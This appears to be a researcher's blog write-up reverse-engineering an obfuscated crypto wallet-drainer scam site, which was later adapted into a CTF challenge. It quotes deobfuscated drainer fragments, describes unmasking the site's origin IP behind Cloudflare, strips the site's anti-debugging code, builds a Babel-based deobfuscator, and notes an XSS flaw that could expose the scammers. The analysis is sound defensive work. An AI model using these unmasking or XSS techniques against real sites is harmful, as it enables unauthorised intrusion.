When I was creating a Web3 challenge for AIS3 Pre-exam 2024, I referenced a scam website that had been sent to my wallet before. I wanted to learn how to implement a sleek Web3 wallet connect interface based on it, but I discovered that the website’s code was heavily obfuscated and included anti-debugging mechanisms, making it difficult to use the debugger properly. So, I started investigating the website, and eventually, it became the content of the challenge I created.
Observation
A scam ERC20 token has appeared in my wallet, as shown in the image below. The link leads to a website that looks like a Blast2L site.
Uncover the IP hidden behind Cloudflare
The website is hidden behind Cloudflare, so I first attempted to discover its actual IP address. An SPF record for that domain includes an IP address, as shown below.
1
v=spf1 ip4:79.137.xxx.xx a mx ~all
The IP address is from Russia. Furthermore, the website’s CSS contains domains from Russia, and even the code includes Russian characters. This suggests a potential association between the website and Russia. I discovered a list of scam websites hosted on that IP from Gist, indicating that the IP is highly suspicious.
If we directly visit the website, we will see a FASTPANEL page.
I modified the request host header to the original domain and sent the request again. The original website was displayed, confirming that the SPF IP is indeed the website’s IP.
Handling Anti-Debugging
The website’s main script is heavily obfuscated and over 2 million characters long. Therefore, we need to use dynamic analysis to learn it quickly.
The breakpoint problem
If we open the developer tools, we will be paused at a breakpoint. Resuming the execution will cause us to be paused again, so let’s try removing the breakpoint first. There are two functions in the call stack when paused; let’s investigate it.
The code around the breakpoint is displayed below. It’s a conditional ternary operator with a constant condition (true), so the false condition code is essentially dead code.
If we deobfuscate the code dynamically, we get the following code within the 0x2a8683 function. The code retrieves the function constructor from a function and uses it to create a new function with a debugger statement in its body. Then, it calls the function, triggering the breakpoint. Commenting out the code that calls 0x2a8683 solves the breakpoint problem.
// It can be simplify to the following since `function() { return true }['constructor']` is just the function constructor. Fucntion('debugger')['call']("action")
// It can be furthor simplified to the following, as the function does not use `this`, which is set to `"action"` (function(){ debugger } )()
Disable disable-devtool.js
After removing the breakpoint, I reopened the dev tools, and the website closed itself, as shown below:
After inspecting the traffic, I found that the website loads the disable-devtool.js, the root cause of the website closing itself.
1
https://cdn.jsdelivr.net/npm/disable-devtool
When reading the disable-devtool.js document, I discovered that one needs to call the DisableDevtool function to initialize its functionality. So I searched for DisableDevtool in the script and found where it’s invoked. They forgot to obfuscate it!
I deobfuscated the surrounding code dynamically and obtained the following code. First, it checks if _0x476324["disable_dev_tool"] is true in order to determine whether to enable disable-devtool.js. If it is true, it then verifies if DisableDevtool is loaded correctly. If not, it will be reloaded. Therefore, if we block the disable-devtool.js traffic, the web pages will reload infinitely. Commenting out DisableDevtool should disable disable-devtool.js.
1 2 3 4 5 6 7
if (_0x476324["disable_dev_tool"]) { if (!window["DisableDevtool"]) { location["reload"](); return } DisableDevtool() }
The 0x476324 variable seems interesting. It appears to be a config file, as shown below, revealing the website’s intention of draining the user’s wallet. There is a key called api. I want to know its function, so let’s dig into it.
// We can deobfuscate it to let _0xb21bb0 = awaitfetch(_0x14e175['api'] + '/ethereum', { 'method': 'POST', 'body': _0x1b9465 }); try { return_0x6899a5(await _0xb21bb0['text']()) } catch { returntrue }
_0x1b9465 is from the _0x1a0343 function. _0x1a0343 encrypts data like customer_id, the victim’s wallet address, and the website’s URL. Note that it uses the key inferno, so it was probably developed by Inferno. (Sunsec told me it was perhaps from Inferno while I presented the research to him.)
Let’s return to the fetch part of the code.
The _0x1a0343 function after deobfuscation
…
The _0x1a0343 function before deobfuscation
After fetching the API, it is called _0x6899a5 with the returned data. Let us investigate it.
_0x97a49a() returns the following information, including the hardcoded key. It also reveals the local storage encryption key, indicating that the local storage is likely encrypted. Let us investigate how the decrypted data is used.
The function _0x1e89b9 uses the API return data _0x2612b1. If _0x2612b1[‘blacklisted’], the program will exit. It’s important to note that the API has knowledge of the victim’s address and URL, so the website might blacklist the localhost URL or wallet address belonging to security researchers for security reasons. The drainer address is also specified by the API.
The deobfuscated _0x1e89b9
…
The original _0x1e89b9
Automate the code deobfuscation process
Manually deobfuscating the code is effective, but the user experience is bad. I attempted to use existing deobfuscation tools, but they were ineffective. Therefore, I decided to develop my own deobfuscator.
The original code and the deobfuscation using the existing deobfuscator, as well as the deobfuscation using my deobfuscator, are shown below. Let us see how I achieved this.
The original code
The code deobfuscated by an existing deobfuscator
The code deobfuscated by my deobfuscator
Let’s start by identifying the obfuscation in the code. There is a function called __p_0566375197 that appears over twenty thousand times. Let us see what it does.
It checks if the value of __p_5272508748[x] is present. If it is, it returns the value. If not, it calculates it using __p_6222965791(__p_7737682834[x])) and fills in __p_5272508748[x], then returns the value. What __p_6222965791 does is perform calculations based on its argument. Therefore, we can replace all occurrences of __p_0566375197(x) with its value.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
function__p_0566375197(x, y, z, a=__p_6222965791, b=__p_5272508748) { if (z) { return y[__p_5272508748[z]] = __p_0566375197(x, y) } elseif (y) { [b,y] = [a(b), x || z] } return y ? x[b[y]] : __p_5272508748[x] || (z = (b[x], a), __p_5272508748[x] = z(__p_7737682834[x])) }
// Since `y` and `z` are always undefined and `b=__p_5272508748`, it can be simplify to function__p_0566375197(x, y, z, a=__p_6222965791, b=__p_5272508748) { return __p_5272508748[x] || __p_5272508748[x] = __p_6222965791(__p_7737682834[x])) }
// Execute the visitor for (let i = 0; i < 10; i++) { traverse(ast, visitor__p_0566375197); }
// Code Beautification let deobfCode = generate(ast, { comments: false }).code; deobfCode = beautify(deobfCode, { indent_size: 2, space_in_empty_paren: true, }); // Output the deobfuscated result writeCodeToFile(deobfCode); }
It indeed makes the code more readable, as shown below.
There is also a function called __p_1452585703_calc, which occurs over five thousand times. Let us see what it does.
The function __p_1452585703_calc carries out calculations on its parameters. The specific calculation to be performed is determined by the value of the __p_2651934416 variable, which is passed as a global variable. This may be the reason why an existing deobfuscator is unable to handle it effectively.
switch (callee.type) { case"Identifier": { if (callee.name === "__p_1452585703_calc") { if (!(args.length === 3 || args.length === 2)) { const code = generate(path.node, { comments: false }).code; console.log("Unsupported number of arguments to __p_1452585703_calc: ", code); return } // console.log("args.length", args.length) // console.log(args)
const opNode = args[args.length - 1]; let opCode; // console.log("opNode", opNode) switch (opNode.type) { case"AssignmentExpression": { const leftNode = opNode.left; const rightNode = opNode.right; // left node if (!(leftNode.type === "Identifier")) { const code = generate(path.node, { comments: false }).code; console.log("Unsupported left node type in __p_1452585703_calc: ", code); return } if (!(leftNode.name === "__p_2651934416")) { const code = generate(path.node, { comments: false }).code; console.log("Unsupported left node name in __p_1452585703_calc: ", code); return }
// right node opCode = nodeToInt(rightNode); break } case"CallExpression": { if (!(opNode.callee.name === "__p_4879216376")) { const code = generate(path.node, { comments: false }).code; console.log("Unsupported opNode.callee.name in __p_1452585703_calc: ", code); return } const args = opNode.arguments; if (!(args.length === 1)) { const code = generate(path.node, { comments: false }).code; console.log("Unsupported number of arguments to __p_4879216376: ", code); return } opCode = nodeToInt(args[0]); break; } default: { const code = generate(path.node, { comments: false }).code; console.log("Unsupported opNode type in __p_1452585703_calc: ", code); return } } switch (opCode) { case -11: // return __p_9164751308 - __p_4231378217; { const leftNode = args[0]; const rightNode = args[1]; path.replaceWith(t.binaryExpression("-", leftNode, rightNode)); break; } case52: // return __p_9164751308 / __p_4231378217; { const leftNode = args[0]; const rightNode = args[1]; path.replaceWith(t.binaryExpression("/", leftNode, rightNode)); break; } case -22: // return -__p_9164751308; { const leftNode = args[0]; path.replaceWith(t.unaryExpression("-", leftNode)); break; } case -7: // return __p_9164751308 + __p_4231378217; { const leftNode = args[0]; const rightNode = args[1]; path.replaceWith(t.binaryExpression("+", leftNode, rightNode)); break; } case28: // return ~__p_9164751308; { const leftNode = args[0]; path.replaceWith(t.unaryExpression("~", leftNode)); break; } case41: // return !__p_9164751308; { const leftNode = args[0]; path.replaceWith(t.unaryExpression("!", leftNode)); break; } case -15: // return __p_9164751308 * __p_4231378217; { const leftNode = args[0]; const rightNode = args[1]; path.replaceWith(t.binaryExpression("*", leftNode, rightNode)); break; } case0: // return typeof __p_9164751308 { const leftNode = args[0]; path.replaceWith(t.unaryExpression("typeof", leftNode)); break; } default: { console.log("opCode", opCode) const code = generate(path.node, { comments: false }).code; console.log("Unsupported opCode in __p_1452585703_calc: ", code); return } } } break; } } return; }, BinaryExpression(path) { let { confident, value } = path.evaluate(); // Evaluate the binary expression if (!confident) return; // Skip if not confident let actualVal = t.valueToNode(value); // Create a new node, infer the type if (!t.isLiteral(actualVal)) return; // Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.) path.replaceWith(actualVal); // Replace the BinaryExpression with the simplified value },
};
module.exports = foldConstantsVisitor;
After implementing the aforementioned optimizations and others, the code became much more readable. The overall code size was reduced by 72%, a significant reduction.
Vulnerabilities in the scam website
After the code became readable, I performed some static analysis and discovered an XSS vulnerability. The application saves logs in HTML, which could be exploited to carry out XSS attacks, potentially revealing sensitive information of the attackers, such as their IP addresses.
Make it a CTF challenge
After I finished reversing the website, I modified its code and turned it into a CTF challenge. In the end, it became part of the AIS3 Pre-exam 2024 with a difficulty level of hard. Only 3 out of 253 participants were able to solve it. You can find the challenge link and the solution below. Additionally, I taught some of the techniques I used in this challenge in a course at TaiwanHolyHigh.